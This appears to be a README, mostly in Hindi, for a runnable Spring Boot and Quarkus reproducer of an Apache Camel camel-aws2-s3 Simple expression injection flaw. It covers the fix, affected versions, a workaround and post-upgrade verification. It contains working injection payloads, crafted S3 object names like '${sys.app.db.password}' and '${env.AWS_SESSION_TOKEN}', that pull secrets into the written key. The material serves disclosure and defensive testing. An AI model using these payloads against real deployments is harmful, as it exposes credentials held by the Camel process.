
CVE-2026-95664 के लिए रन करने योग्य Spring Boot और Quarkus रिप्रोड्यूसर, जो camel-aws2-s3 में CamelAwsS3Key हेडर के माध्यम से Simple एक्सप्रेशन इंजेक्शन का प्रदर्शन करता है और फिक्स का सत्यापन करता है।
Apache Camel की उस भेद्यता के लिए चलाने योग्य प्रूफ-ऑफ-कॉन्सेप्ट पुनरुत्पादक, जिसमें camel-aws2-s3 प्रोड्यूसर ने
ऑब्जेक्ट कुंजी को CamelAwsS3Key संदेश हेडर से लिया और — 4.8.0 से —
AWS2S3Utils.determineKey() ने उस मान को Simple भाषा को सौंप दिया, जब भी उसमें ${ या
$simple{ होता था, ताकि कोई रूट गतिशील कुंजी का उपयोग कर सके। यह मूल्यांकन हेडर से लिए गए मान पर
उतना ही लागू होता था जितना रूट द्वारा कॉन्फ़िगर किए गए keyName विकल्प पर।
| रनटाइम | निर्देशिका | स्टैक |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-aws2-s3 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
हेडर रूट कॉन्फ़िगरेशन नहीं है। aws2-s3 कंज़्यूमर अपने द्वारा बनाए गए प्रत्येक एक्सचेंज पर CamelAwsS3Key
को उस ऑब्जेक्ट की कुंजी पर सेट करता है जिसे उसने पढ़ा — अर्थात, बकेट में ऑब्जेक्ट का नाम। ऐसे रूट में
जो एक aws2-s3 एंडपॉइंट से कंज़्यूम करने और दूसरे पर प्रोड्यूस करने के अलावा कुछ नहीं करता, प्रत्येक
कंज़्यूम किए गए ऑब्जेक्ट का नाम इस प्रकार प्रोड्यूसर तक पहुँचा और मूल्यांकित किया गया।
जो भी व्यक्ति ऐसे बकेट में ऑब्जेक्ट का नाम चुन सकता है जिसे ऐसा रूट कंज़्यूम करता है — आम तौर पर कोई भी
प्रिंसिपल जिसे उसमें अपलोड करने की अनुमति है — वह अपनी पसंद के Simple एक्सप्रेशन Camel प्रक्रिया के भीतर
मूल्यांकित करवा सकता था। Simple JVM सिस्टम प्रॉपर्टीज़, एनवायरनमेंट वेरिएबल्स और कॉन्फ़िगरेशन प्रॉपर्टीज़
पढ़ सकता है, जिनमें अक्सर क्रेडेंशियल्स होते हैं, और, क्लासपाथ पर camel-bean होने पर, रजिस्ट्री बीन्स पर
मेथड्स को इनवोक कर सकता है।
प्रोड्यूसर पर keyName कॉन्फ़िगर करना कोई सुरक्षा नहीं था, क्योंकि हेडर उस पर प्राथमिकता लेता है।
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
प्रभावित बिल्ड पर आउटपुट (दोनों रनटाइम्स पर समान):
Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client®ion=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.
Values the deployment holds but the route never references:
system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
environment AWS_SESSION_TOKEN = ENV-SESSION-TOKEN-s3cr3t-88
1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
key the producer wrote: [invoice-2026.pdf]
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
the JVM system property was resolved into the key: true
3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
the environment variable was resolved into the key: true
4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
key the producer wrote: [route1-D953127238C9F86-0000000000000000]
evaluated rather than used literally: true
5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
key the producer wrote: [archived.txt]
the configured keyName was used instead: true
>>> PROVEN: ...
प्रोब 5 वह वर्कअराउंड है जो एडवाइज़री उन डिप्लॉयमेंट्स के लिए देती है जो अभी अपग्रेड नहीं कर सकते, काम करता हुआ दिखाया गया है।
कोई AWS खाता नहीं और कोई नेटवर्क नहीं। रीप्रोड्यूसर S3 के लिए एक रिकॉर्डिंग स्टैंड-इन रजिस्टर करता है
(amazonS3Client=#s3Client) जो उस key को कैप्चर करता है जिसे प्रोड्यूसर ने वास्तव में लिखने के लिए कहा था — वही एक चीज़
जिसे देखने की आवश्यकता है। असली AWS2S3Producer और असली AWS2S3Utils.determineKey() चलते हैं; केवल अंत में
SDK कॉल कैप्चर की जाती है।
ड्राइवर CamelAwsS3Key को कंज़्यूम किए गए ऑब्जेक्ट के नाम पर सेट करता है, जो ठीक वही है जो aws2-s3 कंज़्यूमर
करता है, इसलिए कंज़्यूमर पक्ष को अपनी अलग बकेट की आवश्यकता नहीं है।
स्टैंड-इन
headBucketका भी उत्तर देता है, क्योंकिAWS2S3Endpoint.doStart()रूट शुरू होने से पहले जाँचता है कि बकेट मौजूद है। वह जाँच इस दोष से असंबंधित है।
| Property | Value |
|---|---|
| Component | camel-aws2-s3 (AWS2S3Utils.determineKey()) |
| CWE | CWE-917 (Expression Language Injection) |
| Severity | Medium |
| Attack vector | किसी बकेट में किसी ऑब्जेक्ट का नाम जिसे aws2-s3 रूट कंज़्यूम करता है, जिसमें ${ या $simple{ हो, जिसे CamelAwsS3Key में प्रोड्यूसर तक पहुँचाया जाता है |
| Impact | Camel प्रक्रिया में Simple एक्सप्रेशन का मूल्यांकन करना: सिस्टम प्रॉपर्टीज़, एनवायरनमेंट वेरिएबल्स और कॉन्फ़िगरेशन प्रॉपर्टीज़ पढ़ना; जहाँ camel-bean मौजूद है वहाँ रजिस्ट्री बीन्स पर मेथड्स को इनवोक करना |
| Affected Versions | 4.8.0 से 4.18.5 से पहले तक, 4.19.0 से 4.22.2 से पहले तक (4.8.0 से पहले के रिलीज़ हेडर मान का जैसा दिया गया वैसा ही उपयोग करते थे और प्रभावित नहीं हैं) |
| Fixed Versions | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24901 |
| Credit | Andrea Cosentino from Apache Software Foundation |
एडवाइज़री: https://camel.apache.org/security/CVE-2026-95664.html
बकेट नाम भी उसी मूल्यांकन से गुज़रा, लेकिन कंज़्यूमर केवल अपने ही एंडपॉइंट पर कॉन्फ़िगर किए गए बकेट को बकेट हेडर में डालता है, कभी भी रिमोट ऑब्जेक्ट से प्राप्त मान नहीं, इसलिए बकेट नाम इस तरीके से पहुँच योग्य नहीं था।
केवल रूट द्वारा कॉन्फ़िगर की गई key ही एक डायनामिक Simple एक्सप्रेशन हो सकती है। हेडर के माध्यम से दी गई key अब शाब्दिक रूप से उपयोग की जाती है और कभी मूल्यांकित नहीं की जाती:
String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
// only the configured key (supplied by the route) may be a dynamic simple expression;
// a key provided through the header is used literally and never evaluated
key = configuration.getKeyName();
if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}
main पर apache/camel#26746 (1fd7a667) में ठीक किया गया, साथ ही
camel-4.22.x और camel-4.18.x में बैकपोर्ट किया गया।
अपग्रेड करने के बाद, संदेश हेडर के माध्यम से दिया गया key या bucket नाम शाब्दिक रूप से उपयोग किया जाता है — इसलिए एक route
जिसने जानबूझकर CamelAwsS3Key या CamelAwsS3OverrideBucketName में एक अनमूल्यांकित Simple expression रखा था,
उसे अब route में ही इसका मूल्यांकन करना होगा (setHeader(..., simple(...))) या इसे endpoint के
keyName / bucketName विकल्प के रूप में कॉन्फ़िगर करना होगा।
camel.version को 4.22.2 पर सेट करें और इसे फिर से चलाएँ। 4.22.1 → 4.22.2 के विरुद्ध सत्यापित:
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [${sys.app.db.password}]
the JVM system property was resolved into the key: false
4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
evaluated rather than used literally: false
>>> NOT reproduced: the header was used literally.
यह रिपॉज़िटरी शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित की गई है: Apache Camel उपयोगकर्ताओं को इस भेद्यता को समझने, यह सत्यापित करने में मदद करने के लिए कि क्या वे प्रभावित हैं, और यह पुष्टि करने के लिए कि अपग्रेड करने से यह हल हो जाती है। इस सामग्री का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी या संचालक नहीं हैं।